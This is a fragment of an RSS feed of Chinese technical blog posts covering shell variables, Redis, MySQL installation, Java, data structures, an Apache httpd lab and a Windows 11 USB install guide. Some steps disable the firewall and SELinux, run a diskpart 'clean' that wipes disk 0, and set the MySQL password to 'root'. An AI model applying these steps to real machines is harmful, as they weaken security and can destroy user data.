      <description>shell 脚本常用命令(I) 特殊的环境变量 PATH PATH 是一个特殊的环境变量，用于指定可执行文件的搜索路径&#xA;当你在 Shell 中输入一个命令时，系统会在 PATH 中列出的路径列表中搜索该命令的可执行文件，并执行找到的第一个匹配文件。PATH 变量的值是一个由冒号 : 分隔的路径列表，每个路径代表一个可执行文件的搜索目录。&#xA;HOME HOME：表示当前用户的主目录路径。在 Unix/Linux 系统中，每个用户都有一个主目录，用于存储该用户的文件和设置。HOME 环境变量通常被用于指定文件和数据的默认存储位置，以及一些应用程序的默认设置。&#xA;USER USER：表示当前用户的用户名。USER 环境变量通常被用于标识当前用户，以及在一些脚本和应用程序中作为参数传递。&#xA;SHELL SHELL：表示当前用户使用的 Shell 程序的路径。SHELL 环境变量通常被用于指定用户的默认 Shell 程序，以及在一些脚本和应用程序中作为参数传递。&#xA;PWD PWD：表示当前工作目录的路径。PWD 环境变量通常被用于指定当前工作目录的路径，以及在一些脚本和应用程序中作为参数传递。&#xA;[图片]&#xA;LANG&#xA;LANG：表示当前系统使用的语言环境。LANG 环境变量通常被用于指定系统的默认语言环境，以及在一些应用程序中用于设置语言环境。&#xA;TMP/TEMP TMP 或 TEMP：表示当前系统的临时文件目录路径。TMP 或 TEMP 环境变量通常被用于指定临时文件的默认存储位置，以及在一些应用程序中作为参数传递。&#xA;在执行 echo $TMP 命令时，如果返回的结果为空，通常可能是因为系统没有设置 TMP 环境变量，或者 TMP 环境变量的值为空。TMP 环境变量通常用来指定系统的临时文件目录路径，许多应用程序会使用该环境变量来创建和读写临时文件。但是并不是所有系统都默认设置了 TMP 环境变量，而且在某些情况下，即使设置了 TMP 环境变量，也可能出现其值为空的情况。如果你想设置 TMP 环境变量，可以在命令行中使用 export 命令来设置。例如： export TMP=/tmp 以下是一些常见的设置环境变量的文件：&#xA;/etc/profile：这个文件包含了系统的全局配置，其中可以设置全局的环境变量。在该文件中添加 export TMP=/tmp 就可以设置 TMP 环境变量。</description>
    </item>
    <item>
      <title>hydrooj搭建（1）</title>
      <link>https://bchobby.github.io/posts/94f1f5411309934c317a63134baf2e21/</link>
      <pubDate>Fri, 14 Jul 2023 10:09:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94f1f5411309934c317a63134baf2e21/</guid>
      <description>我将在下面几篇文章里简要介绍我搭建 H y d r o O J Hydro OJ HydroOJ 的过程&#xA;章节一 : 注册服务器（如果你已经有一个 u b u n t u 22.04 ubuntu22.04 ubuntu22.04 服务器，可以跳过至第三节） 准备工作：你需要有一个服务器，一块钱，一台电脑，以及一双手&#xA;如果你和我一样 没钱 是一名学生党，我将教会你免费申请一个服务器。&#xA;在这里安利一下三丰云(真的不是广告)，这是一个免费的服务器提供公司，而且是免费的。&#xA;注册完一个账户以后，你需要支付0.3元做一个实名认证（毕竟人家是免费的），如果实名认证成功了大概率会开通成功。如果失败了可能是服务器资源池不够，所以等一个星期左右吧。&#xA;开通后，选择安装系统ubuntu16.04。&#xA;章节二：安装系统 系统安装相对来说就要简单多了。根据 H y d r o Hydro Hydro 官方的说法，要尽量使用 U b u n t u 22.04 Ubuntu 22.04 Ubuntu22.04 。&#xA;但你如果和我一样是白嫖过来的服务器，可能就只能先安装 U b u n t u 16.04 Ubuntu 16.04 Ubuntu16.04，然后升级了。&#xA;首先，获得 r o o t root root 权限：</description>
    </item>
    <item>
      <title>2023大数据面试总结</title>
      <link>https://bchobby.github.io/posts/07fe495cd6e65e9caaeb86daa8dc6b36/</link>
      <pubDate>Fri, 14 Jul 2023 09:11:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07fe495cd6e65e9caaeb86daa8dc6b36/</guid>
      <description>先说些废话 作为一个全栈开发工作者，曾经对公司专职的大数据开发有着浓厚的兴趣，所以尝试学习大数据开发所需要的各种技术栈。&#xA;本文就是我在学习过程中记录下，所遇到的一些大数据面试的提问，仅供参考。&#xA;当然，因为时间精力有限，并非所有的问题我都去记录了答案，如果您不了解某些问题或者不认可我记录的解答，可以带着问题百度或者问ChatCPT，相信会给您留下更深刻的印象。&#xA;最后，读者可以把本文当作模拟面试的提纲，欢迎各位在评论区交流，大家一起成长，努力变得更强！！！&#xA;高频基础知识点 执行过程 MapReduce 的执行过程，如何进行一个文件的计算，shuffle的过程（不需要手写MapReduce或者用java写MapReduce） MapReduce执行流程及示例 HDFS 的读写流程 HDFS的读写流程步骤（附图文解析） Yarn 的任务提交流程，如何查看任务日志和报错信息 hive的执行流程 Hive 的执行过程（Hive SQL 如何解析成MapReduce的） Hive SQL转化为MapReduce的过程hive的执行流程万字长文详解HiveSQL执行计划Hive SQL底层执行过程详细剖析Hive底层原理：explain执行计划详解 Spark 任务的执行过程 Spark原理 | 任务执行流程 Spark SQL 的底层执行过程 Spark SQL底层执行流程详解Spark底层执行原理详细解析 Linux 如何查看内存，CPU占用 linux下查看cpu使用率和内存占用 Shell脚本如何定义函数调用Shell脚本第一行：#!/bin/bash的含义 第一行的内容指定了shell脚本解释器的路径，而且这个指定路径只能放在文件的第一行第一行写错或者不写时，系统会有一个默认的解释器进行解释 Linux脚本授权是什么？Linux授权命令是什么？ chmod [{ugoa}{+-=}{rwx}] [文件或目录]chmod [mode=421] [文件或目录] Shell标准输出和标准错误是什么？工作中常用的Linux命令有哪些？ MySQL sql的执行计划，执行错误报警机制索引有什么优缺点什么时候会导致索引失效如果我给一张表的所有字段添加索引会有什么样的问题如何进行sql调优 高频 MySQL在工作中的优化方案总结 Hadoop（HDFS/MapReduce/Yarn） Haddop3对于Hadoop2有哪些新特性 Hadoop 3.x 版本相对于 Hadoop 2.x的新特性 HDFS 常用命令有哪些 HDFS常用命令 工作中遇到 MapReduce 流程的相关问题如何排查其他问题汇总 精选Hadoop高频面试题17道 Hive 工作中如何进行Hive优化 高频 Hive在工作中的调优总结 Hive中有任务跑的时间比较长，怎么优化Hive任务处理过程中遇到过什么样的问题 Hive企业级性能优化 Hive SQL 查询比较慢（数据倾斜），怎么处理 实操 | Hive 数据倾斜问题定位排查及解决Hive千亿级数据倾斜解决方案 Hive的参数设置用过哪些，有什么作用Hive中表关联方式join的分类、用法、应用场景什么时候会走MapJoin mapjoin的使用方法以及注意事项 什么情况下会产生Hive小文件，小文件有什么危害Hive的查询过程，哪些方法可以提高查询效率 变相的问优化 Hive 提高查询效率的方法 Hive的窗口函数，常用窗口函数，怎么使用 窗口函数row_number、rank、dense_rank之间的区别 row_number是行号，不会重复</description>
    </item>
    <item>
      <title>redis主从同步和哨兵模式</title>
      <link>https://bchobby.github.io/posts/29467ea9daef3640e07215dfe5534e59/</link>
      <pubDate>Fri, 14 Jul 2023 07:50:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29467ea9daef3640e07215dfe5534e59/</guid>
      <description>Memcached&amp;amp;Redis构建缓存数据库 前言 许多Web应用都将数据保存到关系型数据库( RDBMS)中，应用服务器从中读取数据并在浏览器中显示。但随着数据量的增大、访问的集中，就会出现RDBMS的负担加重、数据库响应恶化、 网站显示延迟等重大影响。Memcached/redis是高性能的分布式内存缓存服务器,通过缓存数据库查询结果，减少对关系型数据库访问次数，以提高动态Web等应用的速度、 提高可靠性。&#xA;RDBMS即关系数据库管理系统(Relational Database Management System)&#xA;1、简介 1、nosql产品: redis,mongodb,memcached. NOSQL名词解释：非关系型数据库&#xA;1.以键值对的方式存储数据—（Key-Value）的形式&#xA;2.缓存数据库&#xA;2、NoSQL的优点/缺点 优点: - 高可扩展性 - 分布式计算 - 低成本 - 架构的灵活性 - 没有复杂的关系 缺点: - 没有标准化 - 有限的查询功能（到目前为止） 缓存服务器作用: 加快访问速度 ,缓解关系型数据库的读压力&#xA;3、关系型数据库与非关系型数据库的区别：---------面试高频率问题 1.首先了解一下 什么是关系型数据库？ 关系型数据库最典型的数据结构是表，由二维表及其之间的联系所组成的一个数据组织。 优点： 1、易于维护：都是使用表结构，格式一致； 2、使用方便：SQL语言通用，可用于复杂查询； 3、复杂操作：支持SQL，可用于一个表以及多个表之间非常复杂的查询。 缺点： 1、读写性能比较差，尤其是海量数据的高效率读写； 2、固定的表结构，灵活度稍欠； 3、高并发读写需求，传统关系型数据库来说，硬盘I/O是一个很大的瓶颈； 二 非关系型数据库 什么非关系型数据库呢？ 非关系型数据是一种数据结构化存储方法的集合，可以是文档或者键值对等 优点： 1、格式灵活：存储数据的格式可以是key,value形式、文档形式、图片形式等等，使用灵活，应用场景广泛，而关系型数据库则只支持基础类型。 2、速度快：nosql可以使用硬盘或者随机存储器作为载体，而关系型数据库只能使用硬盘； 3、高扩展性； 4、成本低：nosql数据库部署简单，基本都是开源软件。 缺点： 1、不提供sql支持，学习和使用成本较高； 2、无事务处理； 3、数据结构相对复杂，复杂查询方面稍欠。 2、Memcached 1、特点 1.内置内存存储方式-----------为了提高性能，memcached中保存的数据都存储在memcache内置的内存存储空间中。由于数据仅存在于内存中，重启操作系统会导致全部数据消失 2.简单key/value存储---------------服务器不关心数据本身的意义及结构，只要是可序列化数据即可。存储项由“键、过期时间、可选的标志及数据”四个部分组成； 2、服务框架 原理&#xA;1、检查客户端的请求数据是否在memcached中，如有，直接把请求数据返回，不再对数据库进行任何操作，路径操作为①②③⑦。&#xA;2、如果请求的数据不在memcached中，就去查数据库，把从数据库中获取的数据返回给客户端，同时把数据缓存一份到memcached中（memcached客户端不负责，需要程序明确实现），路径操作为①②④⑤⑦⑥。</description>
    </item>
    <item>
      <title>Windows10安装MySQL数据库</title>
      <link>https://bchobby.github.io/posts/d820bf53863cfa8dd70de9ba76018983/</link>
      <pubDate>Thu, 13 Jul 2023 23:20:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d820bf53863cfa8dd70de9ba76018983/</guid>
      <description>MySQL数据库安装流程配置 链接：https://pan.baidu.com/s/1OdbFETRjnfvzAxzoosP3QA&#xA;提取码：0706&#xA;1.首先我们可以进入https://www.mysql.com/这个MySQL官网进行下载。&#xA;2.进入官网后，点击DOWNLOADS进入界面。&#xA;3.选择 MySQL Cluster CGE 下面的 MySQL Community (GPL) Downloads » 点击进入。&#xA;4.点击这个 MySQL Installer for Windows 进入界面。&#xA;5.选择第二个 DOWNLOADS 进行下载。&#xA;6.下载好的安装包后，双击打开。&#xA;7.开始进行MySQL的安装流程，一般是傻瓜试的安装，点默认即可，首先默认选择 next。&#xA;8.选择next，点击下一步。&#xA;9.这里我们选择 Yes。&#xA;10.然后等待这些安装配置完成，大约需要个5-10分钟，点击execute。&#xA;11.等待小海豚图标左边全部是绿色的 √ 即可点击next下一步。&#xA;12.这里我们还是选择默认即可，点击next下一步。&#xA;13.同样点击next，进行下一步。&#xA;14.这里我们就需要设置MySQL的密码了，我设置的密码是root ，比较好记，建议大家设置完之后，记录下来以免忘记，设置完之后点击next，进行下一步。&#xA;15.这里同样选择next，进行下一步。&#xA;16.这里也是等待其左边的绿色√ 全部完成，点击finish。&#xA;17.到这一步离成功就不远啦，点击cancel。&#xA;18.这里我们选择Yes。&#xA;19.然后我们就安卓完成啦，再开始界面找到我们刚刚安卓好的MySQL8.0。&#xA;19.输入刚刚我们设置的密码 root 就OK啦。&#xA;有感而写，希望不足之处，大家多多指点！！！&#xA;————————————————&#xA;版权声明：本文为CSDN博主「书信白鸽~」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。&#xA;原文链接：https://blog.csdn.net/m0_45331296/article/details/126678848</description>
    </item>
    <item>
      <title>DBeaver导入数据，导出查询结果</title>
      <link>https://bchobby.github.io/posts/0d95d859ad4a004e7c3a7bd383faeaa3/</link>
      <pubDate>Thu, 13 Jul 2023 22:38:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d95d859ad4a004e7c3a7bd383faeaa3/</guid>
      <description>1 DBeaver导入数据&#xA;1.1 前置工作，把要导入的数据表转为csv文件&#xA;1.2 把上面csv文件编码格式转为UTF-8。选中csv文件，打开方式-记事本，记事本中，文件-另存为，按如下图修改编码方式，保存类型不要动，点击保存，保存之后文件还是csv格式。&#xA;1.3 DBeaver中选中要导入数据的表，右键-导入数据到图1，双击图1中csv，选中上面准备的csv文件到图2，这里注意Encoding。然后一直下一步下一步就可以完成导入。&#xA;图1&#xA;图2&#xA;2 导出查询结果&#xA;2.1 查询结果表格下方，点击下图箭头处，然后一直下一步下一步完成导出</description>
    </item>
    <item>
      <title>Java基础：ArrayList</title>
      <link>https://bchobby.github.io/posts/7cd8be5010fe4c1fef4feb80c0b949e8/</link>
      <pubDate>Thu, 13 Jul 2023 22:31:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cd8be5010fe4c1fef4feb80c0b949e8/</guid>
      <description> ArrayList集合用来装数据，类似于数组，大小是可变的，可以进行增删改查操作。&#xA;1、添加元素：add（）&#xA;//创建一个arrayList的集合对象 ArrayList list1 = new ArrayList(); //1、add将指定元素添加到此集合末尾 list1.add(&#34;你好&#34;); list1.add(&#34;Java&#34;); list1.add(1111); list1.add(&#34;Java&#34;); System.out.println(&#34;list1:&#34; + list1); //2、往集合某个索引位置处添加一个数据 list1.add(1, &#34;MySQL&#34;); System.out.println(&#34;list1:&#34; + list1); 2、获取元素：get（）&#xA;//约束集合存储String类型 ArrayList&amp;lt;String&amp;gt; list2 = new ArrayList&amp;lt;&amp;gt;(); list2.add(&#34;你好&#34;); //list2.add(111); System.out.println(&#34;list2:&#34; + list2); //根据索引获取集合中某个索引的元素 String rs = list2.get(1); System.out.println(rs); 3、获取集合大小：size（）&#xA;System.out.println(&#34;list2元素个数:&#34; + list2.size()); 4、删除元素：remove（）&#xA;//根据索引删除某个元素值，返回被删除的元素 System.out.println(list1.remove(0)); System.out.println(list1); 5、修改元素：get（）&#xA;//修个某个索引位置处的数据，返回原来的值给我们 System.out.println(list1.set(0,&#34;22222&#34;)); System.out.println(list1); </description>
    </item>
    <item>
      <title>【王道数据结构课后习题练习完整版】5.3.3二叉树的遍历和线索二叉树</title>
      <link>https://bchobby.github.io/posts/d7a67fe68926dde97d82c1070e2e4738/</link>
      <pubDate>Thu, 13 Jul 2023 21:04:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7a67fe68926dde97d82c1070e2e4738/</guid>
      <description>写在前面：以下为程序所用到的文件:&#xA;function.h头文件 // // Created by 斋心 on 2023/7/2. // #ifndef INC_5_3_3_7_FUNCTION_H #define INC_5_3_3_7_FUNCTION_H #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; //二叉树结点结构体类型申明 typedef char BiElemType; typedef struct BiNode{ BiElemType c; struct BiNode *lchild,*rchild; }BiNode,*BiTree; typedef BiTree ElemType; //创建二叉树辅助队列结构体类型申明 typedef struct tag{ ElemType p; struct tag *pnext; }tag_t,*ptag_t; //层次遍历二叉树辅助队列结点结构体类型申明 typedef struct LinkNode{ ElemType data; struct LinkNode *next; }LinkNode; //层次遍历辅助队列 typedef struct{ LinkNode *front,*rear; }LinkQueue; //层次建树函数申明 BiTree CreateBiTree(BiTree &amp;amp;T); //层次遍历辅助队列函数申明 void InitQueue(LinkQueue &amp;amp;Q); void EnQueue(LinkQueue &amp;amp;Q,ElemType x); bool DeQueue(LinkQueue &amp;amp;Q,ElemType &amp;amp;m); bool IsEmpty(LinkQueue Q); //二叉树遍历函数申明 void PreOrder(BiTree T); void InOrder(BiTree T); void PostOrder(BiTree T); void LevelOrder(BiTree T); //辅助栈结构体类型申明 typedef struct stack{ ElemType data; struct stack *next; }stack,*Lstack; //辅助栈函数申明 void InitStack(Lstack &amp;amp;S); void Push(Lstack &amp;amp;S,ElemType x); void Pop(Lstack &amp;amp;S,ElemType &amp;amp;m); bool IsEmpty(Lstack S); void GetTop(Lstack S,ElemType &amp;amp;s); #endif //INC_5_3_3_7_FUNCTION_H CreateBiTree.</description>
    </item>
    <item>
      <title>HTTP综合练习题web网站</title>
      <link>https://bchobby.github.io/posts/21c146ee5547d29284b07042a3c11ae8/</link>
      <pubDate>Thu, 13 Jul 2023 18:35:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21c146ee5547d29284b07042a3c11ae8/</guid>
      <description>综合练习：请给openlab搭建web网站&#xA;​网站需求：&#xA;​1.基于域名[www.openlab.com](http://www.openlab.com)可以访问网站内容为 welcome to openlab!!!&#xA;​2.给该公司创建三个子界面分别显示学生信息，教学资料和缴费网站，基于[www.openlab.com/student](http://www.openlab.com/student) 网站访问学生信息，[www.openlab.com/data](http://www.openlab.com/data)网站访问教学资料&#xA;​[www.openlab.com/money网站访问缴费网站](http://www.openlab.com/money网站访问缴费网站)。&#xA;​3.要求&#xA;​ （1）学生信息网站只有song和tian两人可以访问，其他用户不能访问。&#xA;（2）访问缴费网站实现数据加密基于https访问。&#xA;题目解析步骤： 准备工作 [root@server ~]# systemctl stop firewalld&#xA;[root@server ~]# setenforce 0&#xA;[root@server ~]# yum install httpd -y （如果之前没有永久挂载需要挂载后安装软件包）&#xA;编辑访问文件（域名解析，客户端在那个上验证，就写在那个主机上） [root@server ~]# vim /etc/hosts&#xA;192.168.145.128 www.openlab.com&#xA;[root@server ~]# ping www.openlab.com&#xA;编辑配置文件 [root@server ~]# vim /etc/httpd/conf.d/li.conf&#xA;&amp;lt;VirtualHost 192.168.145.128:80&amp;gt;&#xA;DocumentRoot /www/openlab&#xA;ServerName www.openlab.com&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&amp;lt;Directory /www&amp;gt;&#xA;AllowOverride none&#xA;Require all granted&#xA;&amp;lt;/Directory&amp;gt;&#xA;创建网站存储文件 [root@server ~]# mkdir /www/openlab -pv&#xA;文件中写上需要内容 [root@server ~]# echo &#39;welcome to openlab！！！&#39; &amp;gt; /www/openlab/index.</description>
    </item>
    <item>
      <title>ENERGY STAR® Program Requirements for Computers 5.0</title>
      <link>https://bchobby.github.io/posts/de975f653b2db549ef18a44d3a0f10e8/</link>
      <pubDate>Thu, 13 Jul 2023 18:32:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de975f653b2db549ef18a44d3a0f10e8/</guid>
      <description>5.0 中文翻译 I 官网文档：https://www.energystar.gov/products/spec/computer_specification_version_5_0_pd&#xA;1. 承诺 以下是与制造符合ENERGY STAR标准计算机有关的ENERGY STAR合作伙伴协议条款。ENERGY STAR合作伙伴必须遵守以下计划要求：&#xA;遵守当前的ENERGY STAR资格标准，定义了ENERGY STAR认证标记在计算机上使用的性能标准，并指定了计算机的测试标准。EPA（美国环境保护局Environmental Protection Agency）可自行决定对被称为ENERGY STAR合格的产品进行测试。这些产品可以在开放市场上获取，或在EPA的要求下由合作伙伴自愿提供。遵守当前的ENERGY STAR品牌指南，描述ENERGY STAR标记和名称的使用方式。合作伙伴负责遵守这些指南，并确保其授权代表（例如广告代理商、经销商和分销商）也遵守这些指南。与合作伙伴产品的转售商合作，以确保这些产品保持符合ENERGY STAR的要求。在ENERGY STAR合格的计算机产品的分销渠道中，任何一方在产品制造日期之后通过硬件或软件修改改变产品的功率配置的，必须确保产品在交付给最终客户之前仍然符合ENERGY STAR的要求。如果产品不再符合要求，它就不能带有ENERGY STAR标记。在激活计算机协议部分后的一年内，至少通过认证一个符合ENERGY STAR标准的计算机型号。当合作伙伴获得产品认证时，它必须符合当时有效的规范（例如一级或二级）。提供清晰且一致的ENERGY STAR合格计算机标签。ENERGY STAR标记必须清晰地显示在以下位置之一： 产品的顶部或正面。产品的顶部或正面标识可以是永久或临时的。所有临时标识必须通过黏合或吸附类型的应用程序粘贴到产品的顶部或正面。&#xA;电子标签选项：制造商可以选择使用替代的电子标签方法来代替该产品标签要求，只要它符合以下要求： ENERGY STAR标记以青色、黑色或白色（在“ENERGY STAR品牌指南”中描述，可在www.energystar.gov/logos上获得）出现在系统启动时。电子标记必须显示至少5秒钟；ENERGY STAR标记的面积必须至少占屏幕的10%，不得小于76像素 x 78像素，并且必须易读。&#xA;EPA将在个案基础上考虑有关电子标签的方法、持续时间或大小的替代提案。 在产品文献中（例如用户手册、规格说明等）；在零售产品包装上；在制造商的互联网站上，展示符合ENERGY STAR资格的型号的信息： 如果在合作伙伴网站上提供有关ENERGY STAR的信息，应按照ENERGY STAR Web链接政策（该文件可在ENERGY STAR网站的合作伙伴资源部分找到www.energystar.gov），EPA可能会提供适当的链接到合作伙伴网站； 同意完成以下步骤，向其产品的用户介绍电源管理的优点，除了ENERGY STAR资格标准（第3.C节）中所述的用户信息要求之外，在每台计算机上（即在用户手册或盒装说明中）包括以下信息： 节能潜力；财务节省潜力；环境效益；有关ENERGY STAR的信息和www.energystar.gov的链接；ENERGY STAR标志（按照“ENERGY STAR品牌指南”（可在www.energystar.gov/logos上找到）的规定使用）。&#xA;此外，应在计算机产品页面、产品规格和相关内容页面提供www.energystar.gov/powermanagement的链接。&#xA;在制造商的请求下，EPA将提供与上述标准、模板元素或适用于用户指南或盒装说明的完整模板相关的建议事实和数据。 每年至少向EPA提供更新后的ENERGY STAR合格计算机型号清单。一旦合作伙伴提交其首个ENERGY STAR合格计算机型号清单，合作伙伴将被列为ENERGY STAR合作伙伴。为了保持参与产品制造商名单上的位置，合作伙伴必须每年至少提供一次更新。每年向EPA提供出货量数据或其他市场指标，以帮助确定ENERGY STAR在市场上的渗透率。具体而言，合作伙伴必须提交ENERGY STAR合格计算机的总出货量（按型号计算的单位）或EPA和合作伙伴事先商定的等效测量。合作伙伴还应该提供按有意义的产品特征（例如容量、大小、速度或其他相关特征）分段的ENERGY STAR合格出货量数据，其产品线中每个型号的总出货量以及符合ENERGY STAR的总出货量占总出货量的百分比。每个日历年的数据应该在次年3月之前提交给EPA，最好是以电子格式提交，并且可以直接从合作伙伴或通过第三方提供。这些数据仅用于计划评估目的，并将受到严格控制。EPA将对使用的任何信息进行掩盖，以保护合作伙伴的机密性。合作伙伴还需：在30天内向EPA通报计算机指定的责任方或联系人的变更；参加ENERGY STAR验证测试计划。EPA每年将选择计算机进行验证测试。每个所选产品的制造商将需要按照验证测试指南和程序手册中概述的规定，对指定的产品进行测试。这些要求将自版本5.0开始生效，并且可能会在官方规格修订过程之外进行修改和更新。该计划的手册可在ENERGY STAR网站上的ENERGY STAR办公设备合作伙伴资源页面上找到。如果样品未达到ENERGY STAR规格的性能要求，则将根据EPA的产品故障和争议协议进行处理，如适用，则会执行产品摘牌程序。 2. 为特殊荣誉的表现 为了获得来自EPA对其在合作伙伴关系中所做努力的额外认可和/或支持，ENERGY STAR合作伙伴可以考虑以下自愿措施，并应向EPA报告这些努力的进展：&#xA;• 考虑公司设施的能源效率改进，并追求建筑的ENERGY STAR标志；&#xA;• 购买ENERGY STAR合格产品。修改公司采购或采购规格以包括ENERGY STAR。向EPA提供采购官员的联系信息以进行定期更新和协调。将一般的ENERGY STAR合格产品信息传播给员工，以便在为家庭购买产品时使用；</description>
    </item>
    <item>
      <title>windows11系统新手保姆级U盘安装教程</title>
      <link>https://bchobby.github.io/posts/b19f4c2c1e4fd81d5e73b6ac9b389773/</link>
      <pubDate>Thu, 13 Jul 2023 17:53:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b19f4c2c1e4fd81d5e73b6ac9b389773/</guid>
      <description>windows11系统新手保姆级U盘安装教程 U盘--系统盘制作安装windows11 U盘–系统盘制作 打开官方网址：https://www.microsoft.com/zh-cn/software-download/windows11选择我们所需要的软件下载&#xA;3.下载完毕，直接双击打开运行&#xA;需要等待几秒之后，才会出现安装页面 4.在弹出的页面中选择接受&#xA;5. 取消选择“对这台电脑使用推荐的选项”，在版本的下列列表选择windows11 家庭中文版，点击下一页&#xA;6. 选择U盘，点击下一页，等待U盘格式化，并自动下载iso文件，下载完毕，系统盘就制作好了&#xA;安装windows11 可自行百度自己笔记本电脑进入bios页面的快捷键，以联想笔记本为例&#xA;将电脑关机之后，按住Fn键，启动电源，出现BIOS页面,选中 Boot Menu，回车&#xA;选择USB启动项&#xA;如果选择USB启动项无法进入，可能是在BIOS页面中没有，将USB Boot enable&#xA;重复步骤1，选择BIOS setup&#xA;选择Boot -&amp;gt; USB Boot&#xA;进入windows安装页面，选中下一页，以下都是傻瓜式操作&#xA;选中，下一页&#xA;选择自定义安装&#xA;选择你想要安装的驱动器分区&#xA;之后等待安装程序结束，重启，就安装成功了&#xA;在步骤7可能有的人会遇到无法在驱动器安装（含泪，本博主刚开始作为新手时也遇到过，不过不用怕，毕竟我还是有点知识在身上的）&#xA;可以通过命令方法，转换磁盘格式&#xA;1、在当前安装界面按住Shift+F10调出命令提示符窗口；&#xA;2、输入“diskpart”，按回车执行，进入DISKPART命令模式；&#xA;3、输入“list disk”回车，列出当前磁盘信息；&#xA;4、输入“select disk 0”回车，选中磁盘0；&#xA;5、输入“clean”，删除磁盘分区；&#xA;6、输入“convert mbr”，回车，将磁盘转换为MBR，或者，输入“convert gpt”将磁盘转换为GPT；&#xA;7、输入“exit”，回车，退出DISKPART命令模式，再次输入“exit”，回车，退出命令提示符，返回安装界面继续安装系统。</description>
    </item>
    <item>
      <title>【imarkdown】一个轻量级markdown图片链接转换器</title>
      <link>https://bchobby.github.io/posts/232ba1ed4e22acdeb806de24f5d76665/</link>
      <pubDate>Thu, 13 Jul 2023 17:37:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/232ba1ed4e22acdeb806de24f5d76665/</guid>
      <description>imarkdown imarkdown是一个轻量级markdown图片链接转换器，你可以轻松地对图片链接进行本地到图片服务器、图片服务器到本地、图片服务器到图片服务器的转换。 因为语雀转markdown的时候图片存在防外链行为，如果想要把转出的markdown发表在其他平台，就需要把markdown中所有的图片地址改成本地图片地址或者自定义的图片服务器地址，才可以让别人正常查看。该项目旨在解决这个问题，提供了一个可以批量转换markdown中的图片链接转换器，并支持一些复杂场景下的定制化转换功能。&#xA;功能 批量下载：对于markdown中的图片引用，imarkdown可以批量下载markdown中所有的图片到本地多种转换方式： 对于markdown中的图片链接，支持本地转图床、web url转本地、web url转图床等多种转换方式批量转换：支持单、多文件的批量转换，以及生成文件的格式化重命名等操作高度自定义： 只需要继承一个MdAdapter，就可以轻松实现自定义图床的url转换图床适配： 当前暂时只支持阿里云图床，欢迎pr提供更多类型图床 适用人群 有批量转换markdown图片链接url的需求的人对于语雀导出markdown的用户，需要对图片外链进行转换的人需要开发第三扩展应用的人 技术架构 imarkdown采用模块化设计，对于每一个组件，你都可以方便地进行扩展，下图简单展示了imarkdown的技术架构，imarkdown由以下几个部分组成：&#xA;MdImageConverter Image图片转换器，负责转换markdown的图片地址并生成新的markdown文件。MdAdapter Md适配器，Image需要转换成的类型，如LocalFileAdapter本地适配器、AliyunAdapter阿里云oss适配器，CustomAdapter自定义适配器，通过将适配器注入MdImageConverter，可以定义将Image转换成什么类型的地址。MdMedium 包括MdFile和MdFolder，封装了一些特性，用于传入MdImageConverter进行数据转换。 imarkdown执行过程大致如下所示，在MdImageConverter执行convert方法后，imarkdown会根据传入的MdMedium构建一个虚拟MdTree，根据此树将文件进行批量图片url转换生成。&#xA;快速上手 该项目基于Python进行开发，使用Pypi进行发包，用户可以直接通过pip的方式轻松使用imarkdown。下面将会讲解imarkdown的几种使用场景以及使用方式。&#xA;第三方包安装，打开终端命令行，运行如下命令。 pip install -U imarkdown 示例&#xA;web url转本地地址web-url转图床多文件转换 web-url转本地多文件转换 本地转图床多文件转换 本地转图床 web url转本地地址 如果你的markdown文件里面的图片是其他网站的web url链接，而你想要将其批量下载到本地，并将markdown中的图片地址转换为本地图片地址，下面的示例将会解决你的问题。&#xA;假设你需要转换的文件为test.md，内容如下：&#xA;下面的示例如果初始markdown文件为web url，则都将基于该文档进行转换，下面不重复给出。&#xA;## 6.3 md图片地址转换 以下只支持本地传到图床 - [https://github.com/JyHu/useful_script.git](https://github.com/JyHu/useful_script.git) - [https://github.com/JyHu/useful_script/blob/](https://github.com/JyHu/useful_script/blob/master/Scripts/md%E6%96%87%E4%BB%B6%E5%9B%BE%E7%89%87%E5%9B%BE%E5%BA%8A%E8%BD%AC%E6%8D%A2/%E8%87%AA%E5%8A%A8%E8%BD%AC%E6%8D%A2markdown%E6%96%87%E4%BB%B6%E4%B8%AD%E5%9B%BE%E7%89%87%E5%88%B0%E5%9B%BE%E5%BA%8A.md/) 罢了，折腾了这么久，又试了试这个，发现也不好用。 ![image.png](https://cdn.nlark.com/yuque/0/2022/png/26910220/1670091709979-52f8c3c4-a00f-4668-a236-29ad2c09d0da.png#averageHue=%23272c34&amp;amp;clientId=ubb991e0d-3414-4&amp;amp;crop=0&amp;amp;crop=0&amp;amp;crop=1&amp;amp;crop=1&amp;amp;from=paste&amp;amp;height=928&amp;amp;id=u4a7a8376&amp;amp;margin=%5Bobject%20Object%5D&amp;amp;name=image.png&amp;amp;originHeight=928&amp;amp;originWidth=1050&amp;amp;originalType=binary&amp;amp;ratio=1&amp;amp;rotation=0&amp;amp;showTitle=false&amp;amp;size=201083&amp;amp;status=done&amp;amp;style=none&amp;amp;taskId=u27493dc0-9d78-4c07-929c-cc946d41409&amp;amp;title=&amp;amp;width=1050) 最后，还是PigGo最香，提供了快捷键上传，上传完之后直接xxxTODO ## 6.4 Pycasbin 在pycasbin看到一个经常参与pycasbin的同行，可以参考一些他的contribution： - [https://github.com/Nekotoxin/nekotoxin.github.io/blob/gsoc_2022_summary/GSoC2022-summary.md](https://github.com/Nekotoxin/nekotoxin.github.io/blob/gsoc_2022_summary/GSoC2022-summary.md) 